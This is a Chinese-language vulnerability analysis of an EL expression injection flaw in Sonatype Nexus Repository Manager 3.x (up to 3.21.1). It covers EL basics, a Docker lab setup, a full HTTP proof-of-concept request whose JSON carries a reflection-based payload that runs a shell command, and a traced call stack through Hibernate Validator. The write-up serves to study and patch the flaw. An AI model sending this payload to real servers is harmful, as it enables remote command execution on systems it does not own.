Nexus Repository OSS是一款通用的软件包仓库管理(Universal Repository Manager)服务。
Sonatype Nexus Repository Manager 3的/service/rest/beta/repositories/go/group
接口可以最少以一个低权限用户进行访问,该接口可以在访问时发送精心构造的恶意JSON
数据,在渲染数据时造成EL
表达式注入进而远程执行任意命令。
影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.21.1
修复版本:Nexus Repository Manager OSS/Pro 3.21.2
风险:严重 -- 9.1
账号:低/高权限账号
EL全名为Expression Language
,为了使JSP写起来更加简单。表达式语言的灵感来自于ECMAScript
和XPath
表达式语言,它提供了在JSP
中简化表达式的方法。
它主要用于替换JSP
页面中的脚本表达式<%= %>
,从各种类型的Web域中检索Java对象、获取数据。它可以很方便地访问JavaBean
属性,访问数组,访问List
集合和Map
集合等。
EL主要作用:
获取数据
EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
执行运算
利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。
语法:${标识符}
EL表达式语句在执行时,会调用pageContext.findAttribute
方法,用标识符为关键字,分别从page
、request
、session
、application
四个域中查找相应的对象,找到则返回相应对象,找不到则返回空字符串。
EL表达式可以很轻松获取JavaBean的属性,或获取数组、Collection
、Map
类型集合的数据
<% request.setAttribute("name","test"); %> <%--${name}等同于pageContext.findAttribute("name") --%>
语法:${运算表达式}
关系运算符
逻辑运算符
empty
运算符:检查对象是否为null
${user!=null?user.name :""}
[ ]
和.
号运算符,提供两种运算符来存取数据,。加法运算:${2+2}<br/> 减法运算:${2-2}<br/> 乘法运算:${2*2}<br/> 除法运算:${2/22}<br/>
EL表达式语言中定义了11个隐含对象,使用这些隐含对象可以很方便地获取web开发中的一些常见对象,并读取这些对象的数据。
语法:${隐式对象名称}:获得对象的引用
序号 | 隐含对象名称 | 描 述 |
---|---|---|
1 | pageContext | 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。) |
2 | pageScope | 代表page域中用于保存属性的Map对象 |
3 | requestScope | 代表request域中用于保存属性的Map对象 |
4 | sessionScope | 代表session域中用于保存属性的Map对象 |
5 | applicationScope | 代表application域中用于保存属性的Map对象 |
6 | param | 表示一个保存了所有请求参数的Map对象 |
7 | paramValues | 表示一个保存了所有请求参数的Map对象,它对于某个请求参数,返回的是一个string[] |
8 | header | 表示一个保存了所有http请求头字段的Map对象,注意:如果头里面有“-” ,例Accept-Encoding,则要header[“Accept-Encoding”] |
9 | headerValues | 表示一个保存了所有http请求头字段的Map对象,它对于某个请求参数,返回的是一个string[]数组。注意:如果头里面有“-” ,例Accept-Encoding,则要headerValues[“Accept-Encoding”] |
10 | cookie | 表示一个保存了所有cookie的Map对象 |
11 | initParam | 表示一个保存了所有web应用初始化参数的map对象 |
EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法。
语法:${prefix:method(params)}
EL自定义函数开发包括以下三个步骤:
EL表达式若可控,则可以进行表达式注入:
${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}
使用EL配合反射完成RCE。
拉取包含漏洞的nexus3
docker pull sonatype/nexus3:3.21.1
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.21.1
8081
为Web管理端口映射,5050
为JDWP调试端口映射,nexus-data
为数据目录,INSTALL4J_ADD_VM_PARAMS
为调试参数。
Github下载Nexus
源码:
git clone https://github.com/sonatype/nexus-public.git
并且切换至 3.21.0-05
分支:
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
IDEA配置远程调试信息
成功后可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter
进行断点
首先需要一个至少为低权限的账户并登录(管理员账户也可以),登录后获取Cookie中的NX-ANTI-CSRF-TOKEN
和NXSESSIONID
。
POC
POST /service/rest/beta/repositories/go/group HTTP/1.1 Host: test.com:8081 Content-Length: 293 X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 NX-ANTI-CSRF-TOKEN: 0.289429876219083 Content-Type: application/json Accept: */* Origin: http://test.com:8081 Referer: http://test.com:8081/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: NX-ANTI-CSRF-TOKEN=0.289429876219083; NXSESSIONID=7e3ad549-6fcb-4952-9ace-29f71614bc28 Connection: close { "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}"] } }
发送包含EL表达式的JSON数据,执行命令在tmp
中创建文件。
首先根据请求路径/service/rest/beta/repositories/go/group
,定位到对应的java类。
org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource
该对象用于处理有关组Golang存储库的请求,查看RESOURCE_URI
可以发现为/beta/repositories/go/group
和POC请求对应,因为请求为POST根据注解@POST
会调用createRepository
。
org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource#createRepository
调用父类AbstractGroupRepositoriesApiResource
的createRepository
方法,传递参数为GolangGroupRepositoryApiRequest
类的请求对象,包含POC传递的JSON。
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#createRepository
继续跟进validateGroupMembers
函数。
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#validateGroupMembers
使用request.getGroup().getMemberNames()
提取出参数中的memberNames
为数组,然后for循环中遍历并对POC${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}
判断,repositoryManager.get(repositoryName)
等于NULL,进入下面的else
分支并将POC传入constraintViolationFactory.createViolation
。
org.sonatype.nexus.validation.ConstraintViolationFactory#createViolation
这里创建了HelperBean
对象,并将恶意的EL表达式作为构造函数参数传入。
org.sonatype.nexus.validation.ConstraintViolationFactory.HelperBean#HelperBean
public HelperBean(final String path, final String message) { this.path = path; this.message = message; }
具体值为:
HelperBean
对象又传入validate
函数,跟进关键方法。
org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree#validateConstraints(org.hibernate.validator.internal.engine.validationcontext.ValidationContext<?>, org.hibernate.validator.internal.engine.valuecontext.ValueContext<?,?>)
调用该方法进行校验,跟进addConstraintFailure
org.hibernate.validator.internal.engine.validationcontext.AbstractValidationContext#addConstraintFailure
调用interpolate方法执行表达式,messageTemplate为恶意EL表达式。
org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver#interpolate
调用栈很长,一路跟进,最终调用ElTermResolver
类的interpolate
渲染完成RCE。
ValueExpression对象包含恶意表达式并执行。
关键的调用栈如下:
interpolate:67, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation) interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation) interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext) addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext) validateConstraints:79, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation) doValidateConstraint:130, MetaConstraint (org.hibernate.validator.internal.metadata.core) validateConstraint:123, MetaConstraint (org.hibernate.validator.internal.metadata.core) validateMetaConstraint:555, ValidatorImpl (org.hibernate.validator.internal.engine) validateConstraintsForSingleDefaultGroupElement:518, ValidatorImpl (org.hibernate.validator.internal.engine) validateConstraintsForDefaultGroup:488, ValidatorImpl (org.hibernate.validator.internal.engine) validateConstraintsForCurrentGroup:450, ValidatorImpl (org.hibernate.validator.internal.engine) validateInContext:400, ValidatorImpl (org.hibernate.validator.internal.engine) validate:172, ValidatorImpl (org.hibernate.validator.internal.engine) createViolation:64, ConstraintViolationFactory (org.sonatype.nexus.validation) validateGroupMembers:96, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api) createRepository:66, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api) createRepository:83, GolangGroupRepositoriesApiResource (org.sonatype.nexus.repository.golang.rest) CGLIB$createRepository$1:-1, GolangGroupRepositoriesApiResource$$EnhancerByGuice$$cc9abe75 (org.sonatype.nexus.repository.golang.rest) invoke:-1, GolangGroupRepositoriesApiResource$$EnhancerByGuice$$cc9abe75$$FastClassByGuice$$8bad93f8 (org.sonatype.nexus.repository.golang.rest)
https://blog.csdn.net/ggGavin/article/details/51852026